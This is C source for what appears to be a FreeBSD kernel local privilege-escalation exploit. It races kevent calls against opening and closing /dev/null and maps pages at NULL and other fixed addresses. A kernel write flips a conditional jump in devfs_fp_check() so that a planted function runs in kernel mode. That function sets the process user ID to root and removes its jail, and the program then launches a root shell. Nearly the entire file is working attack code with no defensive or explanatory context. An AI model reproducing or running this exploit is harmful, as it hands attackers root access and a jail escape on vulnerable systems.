define JE_ADDRESS 0xc076c62b
/* location of "je" (0x74) opcode in devfs_fp_check() - it will be incremented
* becoming "jne" (0x75), so error won't be returned in devfs_vnops.c:648
* and junk function pointer will be called in devfs_vnops.c:650
*
* you can obtain it using:
* $ objdump -d /boot/kernel/kernel | grep -A 50 \<devfs_fp_check\>: | grep je | head -n 1 | cut -d: -f1
*/
#include <pthread.h>
#define _KERNEL
#include <sys/param.h>
#include <sys/conf.h>
#include <sys/ucred.h>
#include <fs/devfs/devfs_int.h>
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/event.h>
#include <sys/timespec.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/proc.h>
int fd, kq;
struct kevent kev, ke;
struct timespec timeout;
volatile int gotroot = 0;
static void kernel_code(void) {
struct thread *thread;
gotroot = 1;
asm(
"movl %%fs:0, %0"
: "=r"(thread)
);
thread->td_proc->p_ucred->cr_uid = 0;
thread->td_proc->p_ucred->cr_prison = NULL;
return;
}
static void code_end(void) {
return;
}
void do_thread(void) {
usleep(100);
while (!gotroot) {
memset(&kev, 0, sizeof(kev));
EV_SET(&kev, fd, EVFILT_READ, EV_ADD, 0, 0, NULL);
if (kevent(kq, &kev, 1, &ke, 1, &timeout) < 0)
perror("kevent");
}
return;
}
void do_thread2(void) {
while(!gotroot) {
/* any devfs node will work */
if ((fd = open("/dev/null", O_RDONLY, 0600)) < 0)
perror("open");
close(fd);
}
return;
}
int main(void) {
int i;
pthread_t pth, pth2;
struct cdev devp;
char *p;
unsigned long *ap;
/* 0x1c used for vp->v_rdev dereference, when vp=0 */
/* 0xa5610e8 used for vp->r_dev->si_priv dereference */
/* 0x37e3e1c is junk dsw->d_kqfilter() in devfs_vnops.c:650 */
unsigned long pages[] = { 0x0, 0xa561000, 0x37e3000 };
unsigned long sizes[] = { 0xf000, 0x1000, 0x1000 };
for (i = 0; i < sizeof(pages) / sizeof(unsigned long); i++) {
printf(" allocating %p @ %p\n", sizes[i], pages[i]);
if (mmap((void *)pages[i], sizes[i], PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0) == MAP_FAILED) {
perror("mmap");
return -1;
}
}
*(unsigned long *)0x1c = (unsigned long)(JE_ADDRESS - ((char *)&devp.si_threadcount - (char *)&devp));
p = (char *)pages[2];
ap = (unsigned long *)p;
for (i = 0; i < sizes[2] / 4; i++)
*ap++ = (unsigned long)&kernel_code;
if ((kq = kqueue()) < 0) {
perror("kqueue");
return -1;
}
pthread_create(&pth, NULL, (void *)do_thread, NULL);
pthread_create(&pth2, NULL, (void *)do_thread2, NULL);
timeout.tv_sec = 0;
timeout.tv_nsec = 1;
printf("waiting for root...\n");
i = 0;
while (!gotroot && i++ < 10000)
usleep(100);
setuid(0);
if (getuid()) {
printf("failed - system patched or not MP\n");
return -1;
}
execl("/bin/sh", "sh", NULL);
return 0;
}